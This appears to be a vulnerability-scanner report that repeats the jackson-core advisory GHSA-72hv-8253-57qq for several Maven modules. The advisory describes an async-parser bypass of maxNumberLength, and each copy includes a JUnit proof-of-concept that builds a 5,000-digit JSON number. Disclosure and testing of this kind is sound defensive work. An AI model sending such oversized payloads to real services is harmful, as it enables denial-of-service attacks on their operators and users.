class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: clients/java/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: engine-rest/engine-rest-jakarta/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: engine-rest/engine-rest-openapi-generator/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: engine-rest/engine-rest/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: engine-rest/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.

### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

```java
package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {

private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;

private final JsonFactory factory = new JsonFactory();

// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}

// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();

boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}

private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}

```


### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.

### Suggested Remediation

The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.

**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)

Reference: https://github.com/advisories/GHSA-72hv-8253-57qq

GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core

Status: CONTINUED

Severity: MEDIUM

Installed Version: 2.15.2

Fixed Version: 2.21.1, 2.18.6

Target: spin/dataformat-json-jackson/pom.xml

Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.

- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
